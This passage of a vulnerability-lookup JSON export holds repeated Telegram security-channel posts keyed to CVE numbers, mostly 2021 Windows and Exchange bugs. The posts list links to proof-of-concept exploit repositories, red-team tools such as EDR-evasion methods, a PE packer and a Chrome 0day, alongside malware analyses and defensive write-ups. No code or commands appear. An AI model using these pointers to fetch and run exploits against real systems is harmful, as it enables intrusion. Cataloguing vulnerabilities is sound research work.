vehicles\ud83d\ude00\nhttps://github.com/hackingintoyourheart/unoriginal-rice-patty\n\nBlue Team Techniques\n1. Getting the maximum of your C compiler, for security\nhttps://airbus-seclab.github.io/c-compiler-security\n2. Cobalt Strike Beacon configuration extractor and parser\nhttps://github.com/strozfriedberg/cobaltstrike-config-extractor\n\nOffensive security\n1. Deception in Depth - LSASS Injection\nhttps://blog.spookysec.net/DnD-LSASS-Injection\n2. CVE-2021-28663:\nAndroid kernel backdoor vulnerability\nhttps://paper.seebug.org/1690\n// This vulnerability in the ARM Mali GPU driver can help an attacker:\n- steal other APP running memory data;\n- modify other APP code;\n- steal kernel running memory data;\n- stably obtain ROOT permission...\n\nMalware analysis\nPhishing via Open Redirects\ud83e\udd78\nhttps://www.microsoft.com/security/blog/2021/08/26/widespread-credential-phishing-campaign-abuses-open-redirector-links\n\nThreat Research\n1. Exploiting GraphQL\nhttps://blog.assetnote.io/2021/08/29/exploiting-graphql\n]-> GraphQL security auditing \ud83d\udc4d\ud83c\udffdscript:\nhttps://github.com/assetnote/batchql\n2. Operation (Th\u1ee7y Tinh) OceanStorm\nhttps://mp.weixin.qq.com/s/dGW0FrbZZ5UA6KuuZB8J_g", "creation_timestamp": "2026-09-01T17:00:41.894327Z"}, {"uuid": "7d112b8e-4814-4ffc-a13f-a8f3ae9999e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/cissp/4014", "content": "ThreatResearch\nVulnerability Analysis in Emissary\n(Distributed P2P Data-driven Workflow Framework)\nhttps://securitylab.github.com/research/NSA-emissary\n\n5G Network Security\n5G Shortcuts allow Evesdropping\nhttps://www.wired.com/story/5g-network-stingray-surveillance-non-standalone\n\nMalware analysis\n1. New AdLoad Campaign Goes Undetected by XProtect\nhttps://labs.sentinelone.com/massive-new-adload-campaign-goes-entirely-undetected-by-apples-xprotect\n2. TA551 Shathak Continues Pushing BazarLoader Leading to Cobalt Strike\nhttps://isc.sans.edu/forums/diary/TA551+Shathak+continues+pushing+BazarLoader+infections+lead+to+Cobalt+Strike/27738\n\nOffensive security\n1. How to Hack APIs in 2021\nhttps://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021\n2. Windows Registry Run Keys\nhttps://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys\n\nexploit\nhAFL1 - Our Journey of Fuzzing Hyper-V and Discovering a Critical 0-Day (CVE-2021-28476)\nhttps://www.guardicore.com/labs/hafl1-our-journey-of-fuzzing-hyper-v-and-discovering-a-critical-0-day\n]-> Fuzzer hAFL1:\nhttps://github.com/SB-GC-Labs/hAFL1", "creation_timestamp": "2026-09-01T17:00:43.037926Z"}, {"uuid": "51341014-2770-4c77-a4fb-1353eb920b26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28903", "type": "seen", "source": "https://t.me/cissp/3906", "content": "exploit\nPoC for exploiting CVE-2021-28903:\nA stack overflow in libyang <= v1.0.225 can cause a denial of service through function lyxml_parse_mem()\nhttps://github.com/AlAIAL90/CVE-2021-28903\n\nTryhackme: Android Hacking 101 Walkthrough: \nPart 1: https://hacklido.com/blog/264-tryhackme-android-hacking-101-walkthrough-part-1-of-2\nPart 2: https://hacklido.com/blog/266-tryhackme-android-hacking-101-walkthrough-part-2-of-2\n\nBlueTeam Techniques\n1. Cobalt Strike Hunting - simple PCAP and Beacon Analysis\nhttps://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811\n2. Walkthrough of DFIR Madness PCAP\nhttps://www.netresec.com/?page=Blog&month=2021-07&post=Walkthrough-of-DFIR-Madness-PCAP\n\nRed Team Tactics\n1. Bash script will help to hack remote hosts\nhttps://github.com/FabioDefilippo/linuxallremote\n2. JMX enumeration and attacking tool\nhttps://github.com/qtc-de/beanshooter", "creation_timestamp": "2026-09-01T17:00:45.368459Z"}, {"uuid": "073c4aaa-6de0-4b7a-9d35-86a0bf1be5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/cissp/3694", "content": "Red Team Tactics\n1. Open-Source PE Packer\nhttps://iwantmore.pizza/posts/PEzor4.html\n]-> https://github.com/phra/PEzor\n2. XNU IPC - Mach messages\nhttps://dmcyk.xyz/post/xnu_ipc_i_mach_messages\n3. Avoiding Fork&Run .NET Execution With InlineExecute-Assembly\nhttps://securityintelligence.com/posts/net-execution-inlineexecute-assembly\n]-> Beacon Object File PoC:\nhttps://github.com/xforcered/InlineExecute-Assembly\n\nBlue Team Techniques\nAPI Security Need to Know:\nTop 5 Authentication Pitfalls\nhttps://www.cequence.ai/blog/api-security-need-to-know-top-5-authentication-pitfalls\n\nThreat Research\nCVE-2021-28474:\nSharePoint RCE via Server-Side Control Interpretation Conflict\nhttps://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict\n\nCloud Security\nREST API Fuzz Testing (RAFT):\nSource code for self-hosted service developed for Azure, including the API, orchestration engine, and default set of security tools (including MSR's RESTler), that enables developers to embed security tooling into their CI/CD workflows\nhttps://github.com/microsoft/rest-api-fuzz-testing", "creation_timestamp": "2026-09-01T17:00:46.316273Z"}, {"uuid": "590a81f4-10c9-4132-b1ff-b5fd1b14143c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.324692Z"}, {"uuid": "23674762-31e6-49b2-81ee-38c57df88253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.533540Z"}, {"uuid": "46981b57-64f9-4a74-8744-14a7ba2ef752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28312", "type": "seen", "source": "https://t.me/cissp/3148", "content": "CVE-2021-1815:\nmacOS Local Privilege Escalation Via Preferences (PoC)\nhttps://www.offensive-security.com/offsec/macos-preferences-priv-escalation/?utm_content=165476462&utm_medium=social&utm_source=twitter&hss_channel=tw-134994790\n]-> Compromising the macOS Kernel through Safari by Chaining Six \ud83e\udd2aVulnerabilities (code):\nhttps://github.com/sslab-gatech/pwn2own2020\n\nThreat Research\n1. Data Only Attack:\nNeutralizing EtwTi Provider\nhttps://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider\n2. Unauthorized access to Facebook environment\ud83d\udc4d\ud83c\udffd\nhttps://mvinni.medium.com/workplace-by-facebook-unauthorized-access-to-companies-environment-27-5k-a593a57092f1\n\nexploit\nCVE-2021-28312:\nWindows 10 1809/1909/2004/20H2, Server 2019 - NTFS DoS Vulnerability (PoC)\nhttps://github.com/shubham0d/CVE-2021-28312", "creation_timestamp": "2026-09-01T17:00:50.971824Z"}, {"uuid": "39595e6a-98f7-43ac-8030-540928922173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28313", "type": "seen", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-01T17:00:52.709967Z"}, {"uuid": "2f87ad56-5526-4288-94b7-3d006f9841cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.400251Z"}, {"uuid": "7f061237-4866-43ab-8d70-d6f256dbc122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.443627Z"}, {"uuid": "376a04a9-f7dd-496c-b42b-27bcdb807e7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.487413Z"}, {"uuid": "77da08ca-9560-45e5-b9e5-f301081e087f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.592683Z"}, {"uuid": "138d96df-1c1f-4f39-acfe-c17094a6d9ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28321", "type": "seen", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-01T17:00:52.657851Z"}, {"uuid": "c34d5895-026a-44ae-8eec-90081f65f07d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28322", "type": "seen", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-01T17:00:52.684324Z"}, {"uuid": "472a7147-2c4d-4cfb-9ce8-8250dd924d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.189360Z"}, {"uuid": "66d92b1f-26f9-4f9f-bb5f-7984647ea3e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.220230Z"}, {"uuid": "5897379c-2e26-41d0-bb5a-6fd70618bc18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.432686Z"}, {"uuid": "1d728f83-0dab-458e-849e-406d45b6d44f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.469493Z"}, {"uuid": "e2f9b0b4-08bc-41e2-bf14-88c84b4ea5bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.503866Z"}, {"uuid": "3127c502-fa32-43fe-b2c9-2a82fd7acb4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.535351Z"}, {"uuid": "95d6d50c-e781-41c0-979c-ab3f6f12314c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, 